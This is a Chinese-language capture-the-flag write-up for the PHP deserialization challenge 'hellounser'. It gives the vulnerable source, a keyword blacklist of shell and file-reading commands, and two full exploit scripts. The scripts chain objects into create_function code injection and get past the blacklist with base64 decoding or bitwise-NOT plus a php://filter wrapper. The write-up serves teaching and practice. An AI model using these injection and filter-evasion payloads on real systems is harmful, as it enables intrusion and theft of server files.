当前位置:   article > 正文

[DASCTF Sept X 浙江工业大学秋季挑战赛]hellounser_dasctfxzhejiang]hellounser

dasctfxzhejiang]hellounser

hellounser

<?php
class A {
    public $var;
    public function show(){
        echo $this->var;
    }
    public function __invoke(){
        $this->show();
    }
}

class B{
    public $func;
    public $arg;

    public function show(){
        $func = $this->func;           //匹配a-z,0-9,区分大小写
        if(preg_match('/^[a-z0-9]*$/isD', $this->func) ||   preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log/i', $this->arg)) {
            die('No!No!No!');
        } else {
            include "flag.php";
            //There is no code to print flag in flag.php
            $func('', $this->arg);
        }
    }

    public function __toString(){
        $this->show();
        return "<br>"."Nice Job!!"."<br>";
    }


}

if(isset($_GET['pop'])){
    $aaa = unserialize($_GET['pop']);
    $aaa();
}
else{
    highlight_file(__FILE__);
}

?> 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43

前置

__toString(),类被当成字符串时的回应方法
__invoke(),调用函数的方式调用一个对象时的回应方法
  • 1
  • 2

代码审计

最终我们通过B类里的show方法来获得flag,通过A类中var变量来初始化B类,echo调用了__toString从而调用B类中show

分析正则表达式

前面是$func不能是开头到结尾纯数字字母,i是大小写都匹配,s是匹配任何空白符号(空格,制表),D是结尾不是换行符号

这里很好绕过,比如var_dump含有一个_即可绕过。或者开头换行符号都可以

后面是$arg过滤了一大堆东西,都满足就会包含flag.php,但没输出。

同时会把 f u n c 当 作 函 数 名 , 传 入 两 个 参 数 , 一 个 是 空 字 符 串 , 一 个 是 func当作函数名,传入两个参数,一个是空字符串,一个是 funcarg

知识点

create_function()

适用范围:PHP 4> = 4.0.1PHP 5PHP 7

功能:根据传递的参数创建匿名函数,并为其返回唯一名称。

create_function(string $args,string $code)
//string $args 声明的函数变量部分

//string $code 执行的方法代码部分
  • 1
  • 2
  • 3
  • 4

警告:

这个函数在内部执行eval(),因此具有与eval()相同的安全问题。此外,它还有不好的性能和内存使用特性。

如果你使用的是 PHP 5.3.0 或更高版本,应该使用本地匿名函数来代替。

pop链构造

传入

return(1);}任意代码;//
  • 1

}会和前面{闭合,后面注释符号会注释后面的{,实现执行任意代码

法一
<?php
class A {
    public $var;
    public function show(){
        echo $this->var;
    }
    public function __invoke(){
        $this->show();
    }
}

class B{
    public $func;
    public $arg;
}

$a = new A();
$b = new B();

$b -> func = 'create_function';
$b -> arg = 'return 1;}require(base64_decode(VHJ1M2ZsYWcucGhw));var_dump(get_defined_vars());//'; //包含flag文件并输出
$a -> var = $b;

echo serialize($a);
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24

解析

get_defined_vars() 函数返回由所有已定义变量所组成的数组。
  • 1
法2

由于过滤了很多东西,我们可以考虑取反绕过,再用伪协议来读取文件内容。

但是还有一个问题是取反后的符号大多数不可打印符号,不方便复制get传入,因此要对他进行url编码

<?php
class A {
    public $var;
    public function show(){
        echo $this->var;
    }
    public function __invoke(){
        $this->show();
    }
}

class B{
    public $func;
    public $arg;
}

$a = new A();
$b = new B();

$ac=(~('php://filter/read=convert.base64-encode/resource=Tru3flag.php'));
$b -> func = 'create_function';
$b -> arg = 'return 1;}require(~('.strval($ac).'));//'; //包含flag文件并输出
$a -> var = $b;

echo urlencode(serialize($a));

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26

解析

strval() 函数用于获取变量的字符串值。
  • 1

参考:

https://www.cnblogs.com/aninock/p/15336101.html

http://www.snowywar.top/?p=2592

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/秋刀鱼在做梦/article/detail/900731
推荐阅读
相关标签
  

闽ICP备14008679号